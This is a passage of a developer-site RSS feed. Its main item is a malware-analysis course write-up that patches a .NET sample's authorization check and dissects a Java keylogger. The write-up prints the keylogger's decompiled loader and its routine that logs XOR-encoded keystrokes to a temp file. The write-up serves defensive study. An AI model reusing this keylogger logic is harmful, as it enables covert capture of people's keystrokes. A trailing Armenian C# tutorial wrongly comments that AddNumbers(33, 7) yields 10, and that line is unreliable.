                    &lt;span class="kt"&gt;object&lt;/span&gt; &lt;span class="k"&gt;value&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;registryKey2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetValue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Challenge1"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                    &lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;flag4&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;value&lt;/span&gt; &lt;span class="p"&gt;!=&lt;/span&gt; &lt;span class="k"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
                    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flag4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                    &lt;span class="p"&gt;{&lt;/span&gt;
                        &lt;span class="n"&gt;registryKey2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;DeleteSubKey&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Challenge1"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                    &lt;span class="p"&gt;}&lt;/span&gt;
                    &lt;span class="n"&gt;registryKey2&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We seem close to our objective. The software seems to check for authorization through the &lt;code&gt;isAuthorized()&lt;/code&gt; method, and if so, display the email "flag". I proceed by modifying the method so that the &lt;code&gt;flag&lt;/code&gt; variable is always &lt;code&gt;false&lt;/code&gt; and does not depend on authorization. &lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--b0tl--QM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/fq8lqiyv3lv1ejqlat24.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--b0tl--QM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/fq8lqiyv3lv1ejqlat24.PNG" alt="Final result" width="557" height="384"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That's it. This reveals our desired flag. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; One of the objectives on malware analysis is to find &lt;strong&gt;indicators of compromise&lt;/strong&gt; (IOC) - clues that indicate that a given machine has been infected. As the decompiled code shows, this software modifies the Windows registry and creates a subkey &lt;code&gt;PS_DotNet_Lab1&lt;/code&gt;. Presence of said key within the Registry Editor (&lt;code&gt;regedit.exe&lt;/code&gt;) can function as an IOC.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;
  
  
  An alternative way
&lt;/h4&gt;

&lt;p&gt;Upon my first examination of the decompiled source, I found the method that actually generates the email address. However, the flag wasn't kept simply as a string, an &lt;strong&gt;anti-analysis technique&lt;/strong&gt; called &lt;strong&gt;obfuscation&lt;/strong&gt; was used. The method in question is located in the &lt;code&gt;Authorization&lt;/code&gt; class and is called &lt;code&gt;returnEmailAddress()&lt;/code&gt;. Here's the excerpt from the class:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="nf"&gt;returnEmailAddress&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;foreach&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;Authentication&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;addy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="p"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ToString&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

        &lt;span class="c1"&gt;// Token: 0x04000009 RID: 9&lt;/span&gt;
        &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;addy&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;
        &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="m"&gt;53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;102&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;54&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;104&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;56&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;57&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;115&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;117&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;120&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;101&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;118&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;105&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;108&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;99&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;48&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;101&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;46&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;99&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;111&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;109&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;46&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;99&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;111&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="m"&gt;109&lt;/span&gt;
        &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So another option to retrieve our email address would be to copy this code, run it in our own environment and retrieve the resulting string. However, I chose to try and open the full Windows Forms application for added interest.&lt;/p&gt;

&lt;h3&gt;
  
  
  Second exercise
&lt;/h3&gt;

&lt;p&gt;The next practical assignment offered in the course is a Java application, that does not contain any flags. The sample that needs to be analyzed comes as a &lt;code&gt;.jar&lt;/code&gt; package, which can be opened from within &lt;strong&gt;Bytecode Viewer&lt;/strong&gt;.&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--JkAQ7BPV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/vtdp9qvkfba5bs1o73k1.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--JkAQ7BPV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/i/vtdp9qvkfba5bs1o73k1.PNG" alt="Project Structure" width="374" height="271"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In order to dissect the logic of the program, we need to find its entry point - the &lt;code&gt;main()&lt;/code&gt; function. It can be found within the &lt;code&gt;ResourceLoader&lt;/code&gt; class, which also includes a lot of seemingly random string objects, most of which are presumably unnecessary (unnecessary code is yet another &lt;em&gt;anti-analysis&lt;/em&gt; technique).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;ClassNotFoundException&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;IllegalArgumentException&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;IllegalAccessException&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;InvocationTargetException&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;SecurityException&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
&lt;span class="nc"&gt;NoSuchMethodException&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
      &lt;span class="no"&gt;URL&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;classLoaderUrls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="no"&gt;URL&lt;/span&gt;&lt;span class="o"&gt;[]{&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="no"&gt;URL&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;c&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;cc&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;gg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;m&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;dgressdf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;xx&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;gg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;mm&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;dgressdf&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="o"&gt;)};&lt;/span&gt;
      &lt;span class="nc"&gt;ClassLoader&lt;/span&gt; &lt;span class="n"&gt;jceClassLoader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;URLClassLoader&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;classLoaderUrls&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ClassLoader&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="nc"&gt;Thread&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentThread&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;setContextClassLoader&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jceClassLoader&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="nc"&gt;Class&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jceClassLoader&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;loadClass&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"com.jrockit.drive.introspection2"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
      &lt;span class="nc"&gt;Method&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getMethod&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"main"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getClass&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
      &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;invoke&lt;/span&gt;&lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="nc"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
   &lt;span class="o"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It can be seen that this method serves simply to retrieve the real &lt;code&gt;main()&lt;/code&gt; method from the &lt;code&gt;introspection2.jar&lt;/code&gt; package. I used archiving software to retrieve the package and supply it to Bytecode Viewer. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Another internal &lt;code&gt;.jar&lt;/code&gt; package was present - &lt;code&gt;jnativehook.jar&lt;/code&gt;. Upon looking at its classes, it seems to belong to the &lt;a href="https://github.com/kwhat/jnativehook"&gt;JNativeHook&lt;/a&gt; library that the malware uses to listen for keypresses.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The &lt;code&gt;introspection2&lt;/code&gt; class seems to contain the main malicious logic, it's entry point &lt;code&gt;main()&lt;/code&gt; method contains the following line&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;GlobalScreen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addNativeKeyListener&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;introspection2&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This prompts our attention to the constructor of the class:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;introspection2&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;File&lt;/span&gt; &lt;span class="n"&gt;file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;File&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getProperty&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"java.io.tmpdir"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;"JavaDeploy.log"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;exists&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;createNewFile&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;fw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FileWriter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAbsoluteFile&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;bw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;BufferedWriter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;fw&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is clear that the malware looks for the temporary directory, and creates a file called &lt;code&gt;JavaDeploy.log&lt;/code&gt; within it. That's our &lt;strong&gt;indicator of compromise&lt;/strong&gt; - by searching for this file on suspected machines, we can confirm whether they have been infected.&lt;/p&gt;

&lt;p&gt;In order to work with &lt;code&gt;JNativeHook&lt;/code&gt;, the class implements the &lt;code&gt;NativeKeyListener&lt;/code&gt; interface. More specifically, I pay attention to the &lt;code&gt;nativeKeyPressed()&lt;/code&gt; method:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;nativeKeyPressed&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;NativeKeyEvent&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
     &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;bw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getKeyCode&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="mi"&gt;151&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
     &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;bw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="n"&gt;var4&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getKeyCode&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
     &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;GlobalScreen&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;unregisterNativeHook&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
     &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;NativeHookException&lt;/span&gt; &lt;span class="n"&gt;var3&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;var3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;printStackTrace&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
     &lt;span class="o"&gt;}&lt;/span&gt;
  &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can now see the exact mechanism that this particular malware (more specifically, &lt;strong&gt;keylogger&lt;/strong&gt;) utilizies. In order to obfuscate its output, it XORs the registered characters with a specific number (151). &lt;/p&gt;

</description>
      <category>dotnet</category>
      <category>java</category>
      <category>security</category>
      <category>malware</category>
    </item>
    <item>
      <title>Սովորում ենք C# | Մեթոդներ, stack և heap, արժեքային և հղումային տիպեր</title>
      <dc:creator>Narek Babajanyan</dc:creator>
      <pubDate>Wed, 01 Apr 2020 18:22:41 +0000</pubDate>
      <link>https://forem.com/narek_babajanyan/c-stack-heap-9ff</link>
      <guid>https://forem.com/narek_babajanyan/c-stack-heap-9ff</guid>
      <description>&lt;h3&gt;
  
  
  Ի՞նչ է մեթոդը
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Մեթոդ&lt;/strong&gt; (&lt;em&gt;method&lt;/em&gt;) կամ &lt;strong&gt;ֆունկցիա&lt;/strong&gt; (&lt;em&gt;function&lt;/em&gt;) է կոչվում մեկ անվան տակ խմբավորված հրամանների հավաքածուն։ Մեթոդները հիմնականում օգտագործվում են հրամանների խումբը մի քանի անգամ կատարելու անհրաժեշտության դեպքում՝ միևնույն կոդի կրկնությունից խուսափելու համար։ Մեթոդը կարող է ընդունել փոփոխվող պարամետրեր և վերադարձնել ինչ֊որ արժեք։ Մեթոդի հայտարարման համար նշվում է՝&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;վերադարձվող արժեքի տիպը (&lt;em&gt;return type&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;մեթոդի անվանումը&lt;/li&gt;
&lt;li&gt;փակագծերի ներսում՝ պարամետրերի ցանկը&lt;/li&gt;
&lt;li&gt;ձևավոր փակագծերի ներսում՝ մեթոդի մարմինը (&lt;em&gt;method body&lt;/em&gt;), այսինքն՝ դրա մեջ մտնող հրամանները
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Վերադարձվող արժեքի տիպը կարող է լինել&lt;/span&gt;
&lt;span class="c1"&gt;// մեզ արդեն ծանոթ տիպերից ցանկցածը&lt;/span&gt;
&lt;span class="c1"&gt;// ինչպես նաև void տիպը&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;AddNumbers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;+&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// տվյալ հրամանը կանչում է AddNumbers() մեթոդը&lt;/span&gt;
&lt;span class="c1"&gt;// և վերադարձված արժեքը վերագրում sum փոփոխականին&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;sum&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;AddNumbers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;33&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="m"&gt;7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;    &lt;span class="c1"&gt;// sum = 10&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;void&lt;/code&gt; տիպն օգտագործվում է այն ժամանակ, երբ մեթոդից վերադարձվող արժեք չի ակնկալվում։&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight csharp"&gt;&lt;code&gt;&lt;span class="k"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;SendMessage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;address&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="cm"&gt;/* ... */&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="c1"&gt;// ...&lt;/span&gt;
